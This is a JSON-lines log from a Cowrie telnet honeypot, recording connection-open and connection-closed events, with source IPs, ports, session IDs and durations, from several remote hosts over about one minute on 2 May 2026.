{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":58242,"dst_ip":"10.17.0.5","dst_port":23,"session":"07af1986486a","protocol":"telnet","message":"New connection: 62.210.97.77:58242 (10.17.0.5:23) [session: 07af1986486a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:04.289521Z"}
{"eventid":"cowrie.session.closed","duration":34.41767454147339,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:04.482396Z","src_ip":"62.210.97.77","session":"96470410ccfc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":40542,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad6f49e3fcb1","protocol":"telnet","message":"New connection: 65.60.27.33:40542 (10.17.0.5:23) [session: ad6f49e3fcb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:04.555124Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":50376,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c6e2c48b8a8","protocol":"telnet","message":"New connection: 165.232.131.181:50376 (10.17.0.5:23) [session: 3c6e2c48b8a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:05.298805Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":58252,"dst_ip":"10.17.0.5","dst_port":23,"session":"744d2f397eb8","protocol":"telnet","message":"New connection: 62.210.97.77:58252 (10.17.0.5:23) [session: 744d2f397eb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:05.636124Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":43154,"dst_ip":"10.17.0.5","dst_port":23,"session":"82849a90c722","protocol":"telnet","message":"New connection: 65.60.27.33:43154 (10.17.0.5:23) [session: 82849a90c722]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:06.877250Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":51100,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae2f98342d6e","protocol":"telnet","message":"New connection: 165.232.131.181:51100 (10.17.0.5:23) [session: ae2f98342d6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:07.262789Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":58260,"dst_ip":"10.17.0.5","dst_port":23,"session":"bfa77149f502","protocol":"telnet","message":"New connection: 62.210.97.77:58260 (10.17.0.5:23) [session: bfa77149f502]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:07.941878Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59132,"dst_ip":"10.17.0.5","dst_port":23,"session":"ceb528385677","protocol":"telnet","message":"New connection: 62.210.97.77:59132 (10.17.0.5:23) [session: ceb528385677]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:08.666638Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59146,"dst_ip":"10.17.0.5","dst_port":23,"session":"60c042ae3174","protocol":"telnet","message":"New connection: 62.210.97.77:59146 (10.17.0.5:23) [session: 60c042ae3174]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:09.450877Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":39714,"dst_ip":"10.17.0.5","dst_port":23,"session":"bbe1fe13ac4f","protocol":"telnet","message":"New connection: 165.232.131.181:39714 (10.17.0.5:23) [session: bbe1fe13ac4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:09.856262Z"}
{"eventid":"cowrie.session.closed","duration":0.005284547805786133,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:09.861334Z","src_ip":"165.232.131.181","session":"bbe1fe13ac4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":43284,"dst_ip":"10.17.0.5","dst_port":23,"session":"a766f79513f4","protocol":"telnet","message":"New connection: 38.54.119.93:43284 (10.17.0.5:23) [session: a766f79513f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:10.399017Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":47340,"dst_ip":"10.17.0.5","dst_port":23,"session":"beb72dc01d79","protocol":"telnet","message":"New connection: 65.60.27.33:47340 (10.17.0.5:23) [session: beb72dc01d79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:10.710566Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":52188,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9254d138a50","protocol":"telnet","message":"New connection: 165.232.131.181:52188 (10.17.0.5:23) [session: c9254d138a50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:11.282711Z"}
{"eventid":"cowrie.session.closed","duration":4.874589204788208,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:12.137266Z","src_ip":"165.232.131.181","session":"ae2f98342d6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59160,"dst_ip":"10.17.0.5","dst_port":23,"session":"9dfdc877510b","protocol":"telnet","message":"New connection: 62.210.97.77:59160 (10.17.0.5:23) [session: 9dfdc877510b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:12.738114Z"}
{"eventid":"cowrie.session.closed","duration":45.9402642250061,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:15.768416Z","src_ip":"165.232.131.181","session":"15b4c5c765e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59172,"dst_ip":"10.17.0.5","dst_port":23,"session":"44678d37223e","protocol":"telnet","message":"New connection: 62.210.97.77:59172 (10.17.0.5:23) [session: 44678d37223e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:16.124648Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":46546,"dst_ip":"10.17.0.5","dst_port":23,"session":"2650b39e1547","protocol":"telnet","message":"New connection: 38.54.119.93:46546 (10.17.0.5:23) [session: 2650b39e1547]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:16.652447Z"}
{"eventid":"cowrie.session.closed","duration":39.73460555076599,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:17.025100Z","src_ip":"165.232.131.181","session":"77bcd3b718c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59186,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4756f1b0c27","protocol":"telnet","message":"New connection: 62.210.97.77:59186 (10.17.0.5:23) [session: e4756f1b0c27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:18.002882Z"}
{"eventid":"cowrie.session.closed","duration":7.79738450050354,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:18.196254Z","src_ip":"38.54.119.93","session":"a766f79513f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.76862859725952,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:18.397359Z","src_ip":"62.210.97.77","session":"f66b9698ea63","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.68919563293457,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:20.281076Z","src_ip":"62.210.97.77","session":"b6330239caa4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":46164,"dst_ip":"10.17.0.5","dst_port":23,"session":"863539f6a53c","protocol":"telnet","message":"New connection: 62.210.97.77:46164 (10.17.0.5:23) [session: 863539f6a53c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:20.650802Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":46166,"dst_ip":"10.17.0.5","dst_port":23,"session":"587ba7a93eee","protocol":"telnet","message":"New connection: 62.210.97.77:46166 (10.17.0.5:23) [session: 587ba7a93eee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:20.739862Z"}
{"eventid":"cowrie.session.closed","duration":38.65893578529358,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:21.790672Z","src_ip":"65.60.27.33","session":"0f5fc8c21e02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":46176,"dst_ip":"10.17.0.5","dst_port":23,"session":"393a85613e63","protocol":"telnet","message":"New connection: 62.210.97.77:46176 (10.17.0.5:23) [session: 393a85613e63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:23.414349Z"}
{"eventid":"cowrie.session.closed","duration":41.713250160217285,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:26.038137Z","src_ip":"165.232.131.181","session":"142e93eb97b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.224390268325806,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:27.219347Z","src_ip":"62.210.97.77","session":"763178efbb89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.309935569763184,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:27.919485Z","src_ip":"38.54.119.93","session":"377d471e35d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.36165523529053,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:28.100590Z","src_ip":"65.60.27.33","session":"a890e4e6c483","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55934,"dst_ip":"10.17.0.5","dst_port":23,"session":"63d39cf7facb","protocol":"telnet","message":"New connection: 62.210.97.77:55934 (10.17.0.5:23) [session: 63d39cf7facb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:30.555926Z"}
{"eventid":"cowrie.session.closed","duration":44.38582110404968,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:30.776848Z","src_ip":"165.232.131.181","session":"f492c7eb19c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55938,"dst_ip":"10.17.0.5","dst_port":23,"session":"e99d83250813","protocol":"telnet","message":"New connection: 62.210.97.77:55938 (10.17.0.5:23) [session: e99d83250813]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:31.056933Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":56068,"dst_ip":"10.17.0.5","dst_port":23,"session":"70508dc46c23","protocol":"telnet","message":"New connection: 38.54.119.93:56068 (10.17.0.5:23) [session: 70508dc46c23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:31.555787Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":46332,"dst_ip":"10.17.0.5","dst_port":23,"session":"c06ec9b22366","protocol":"telnet","message":"New connection: 65.60.27.33:46332 (10.17.0.5:23) [session: c06ec9b22366]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:34.779946Z"}
{"eventid":"cowrie.session.closed","duration":4.38368558883667,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:35.939360Z","src_ip":"38.54.119.93","session":"70508dc46c23","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":33932,"dst_ip":"10.17.0.5","dst_port":23,"session":"e01b7f070243","protocol":"telnet","message":"New connection: 165.232.131.181:33932 (10.17.0.5:23) [session: e01b7f070243]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:38.265576Z"}
{"eventid":"cowrie.session.closed","duration":33.805901765823364,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:39.441847Z","src_ip":"62.210.97.77","session":"744d2f397eb8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.394680976867676,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:39.552746Z","src_ip":"62.210.97.77","session":"0c1ca93e684b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00105857849121,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:39.557834Z","src_ip":"165.232.131.181","session":"7f070e59998c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.199602127075195,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:40.489027Z","src_ip":"62.210.97.77","session":"07af1986486a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":36358,"dst_ip":"10.17.0.5","dst_port":23,"session":"05f5f49d1536","protocol":"telnet","message":"New connection: 62.210.97.77:36358 (10.17.0.5:23) [session: 05f5f49d1536]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:41.773373Z"}
{"eventid":"cowrie.session.closed","duration":33.229875326156616,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:41.896345Z","src_ip":"62.210.97.77","session":"ceb528385677","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":54772,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1fe0669ce42","protocol":"telnet","message":"New connection: 165.232.131.181:54772 (10.17.0.5:23) [session: d1fe0669ce42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:42.062647Z"}
{"eventid":"cowrie.session.closed","duration":0.005361080169677734,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:42.067873Z","src_ip":"165.232.131.181","session":"d1fe0669ce42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.28207778930664,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:42.732859Z","src_ip":"62.210.97.77","session":"60c042ae3174","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.338714838027954,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:42.893838Z","src_ip":"65.60.27.33","session":"ad6f49e3fcb1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":57146,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a9ad2dca6fb","protocol":"telnet","message":"New connection: 65.60.27.33:57146 (10.17.0.5:23) [session: 6a9ad2dca6fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:43.417655Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":36362,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d7879545c23","protocol":"telnet","message":"New connection: 62.210.97.77:36362 (10.17.0.5:23) [session: 7d7879545c23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:44.874512Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":36378,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ef7c2e49a3b","protocol":"telnet","message":"New connection: 62.210.97.77:36378 (10.17.0.5:23) [session: 6ef7c2e49a3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:44.970155Z"}
{"eventid":"cowrie.session.closed","duration":45.74758172035217,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:45.036098Z","src_ip":"65.60.27.33","session":"6e54abd87db6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.462724924087524,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:46.200672Z","src_ip":"62.210.97.77","session":"9dfdc877510b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.42459797859192,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:46.366292Z","src_ip":"62.210.97.77","session":"bfa77149f502","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.167946338653564,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:47.466643Z","src_ip":"165.232.131.181","session":"3c6e2c48b8a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.66801142692566,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:47.545185Z","src_ip":"65.60.27.33","session":"82849a90c722","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.17317318916321,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:49.883643Z","src_ip":"65.60.27.33","session":"beb72dc01d79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59940,"dst_ip":"10.17.0.5","dst_port":23,"session":"b96611c57ce1","protocol":"telnet","message":"New connection: 62.210.97.77:59940 (10.17.0.5:23) [session: b96611c57ce1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:50.158444Z"}
{"eventid":"cowrie.session.closed","duration":34.17843008041382,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:52.181185Z","src_ip":"62.210.97.77","session":"e4756f1b0c27","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.676008224487305,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:52.800556Z","src_ip":"62.210.97.77","session":"44678d37223e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.677088022232056,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:53.329394Z","src_ip":"38.54.119.93","session":"2650b39e1547","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59946,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbac3bdf70fc","protocol":"telnet","message":"New connection: 62.210.97.77:59946 (10.17.0.5:23) [session: dbac3bdf70fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:53.720722Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":40014,"dst_ip":"10.17.0.5","dst_port":23,"session":"59e16ca6863d","protocol":"telnet","message":"New connection: 165.232.131.181:40014 (10.17.0.5:23) [session: 59e16ca6863d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:53.843296Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59948,"dst_ip":"10.17.0.5","dst_port":23,"session":"94311e7f86a2","protocol":"telnet","message":"New connection: 62.210.97.77:59948 (10.17.0.5:23) [session: 94311e7f86a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:54.667120Z"}
{"eventid":"cowrie.session.closed","duration":35.55421543121338,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:56.204914Z","src_ip":"62.210.97.77","session":"863539f6a53c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59960,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7e8a449bd86","protocol":"telnet","message":"New connection: 62.210.97.77:59960 (10.17.0.5:23) [session: e7e8a449bd86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:56.437211Z"}
{"eventid":"cowrie.session.closed","duration":36.08372974395752,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:56.823452Z","src_ip":"62.210.97.77","session":"587ba7a93eee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.74583315849304,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:57.160093Z","src_ip":"62.210.97.77","session":"393a85613e63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55252,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f89841ea087","protocol":"telnet","message":"New connection: 62.210.97.77:55252 (10.17.0.5:23) [session: 4f89841ea087]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:11:58.902748Z"}
{"eventid":"cowrie.session.closed","duration":48.773258209228516,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:12:00.055857Z","src_ip":"165.232.131.181","session":"c9254d138a50","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55266,"dst_ip":"10.17.0.5","dst_port":23,"session":"7621ef07e5d3","protocol":"telnet","message":"New connection: 62.210.97.77:55266 (10.17.0.5:23) [session: 7621ef07e5d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:12:02.570310Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55276,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b280bf793eb","protocol":"telnet","message":"New connection: 62.210.97.77:55276 (10.17.0.5:23) [session: 9b280bf793eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:12:02.693151Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":43996,"dst_ip":"10.17.0.5","dst_port":23,"session":"eabf74e8d7de","protocol":"telnet","message":"New connection: 165.232.131.181:43996 (10.17.0.5:23) [session: eabf74e8d7de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:12:04.101054Z"}
{"eventid":"cowrie.session.closed","duration":34.25433683395386,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:12:05.311137Z","src_ip":"62.210.97.77","session":"e99d83250813","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.57615375518799,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:12:06.131953Z","src_ip":"62.210.97.77","session":"63d39cf7facb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":50254,"dst_ip":"10.17.0.5","dst_port":23,"session":"fdd9ab8bba85","protocol":"telnet","message":"New connection: 38.54.119.93:50254 (10.17.0.5:23) [session: fdd9ab8bba85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:12:06.862436Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":46654,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f3482b22f15","protocol":"telnet","message":"New connection: 165.232.131.181:46654 (10.17.0.5:23) [session: 4f3482b22f15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:12:10.579583Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53272,"dst_ip":"10.17.0.5","dst_port":23,"session":"85112e3af8c6","protocol":"telnet","message":"New connection: 62.210.97.77:53272 (10.17.0.5:23) [session: 85112e3af8c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:12:11.493116Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53274,"dst_ip":"10.17.0.5","dst_port":23,"session":"7323940fbd18","protocol":"telnet","message":"New connection: 62.210.97.77:53274 (10.17.0.5:23) [session: 7323940fbd18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:12:11.696135Z"}
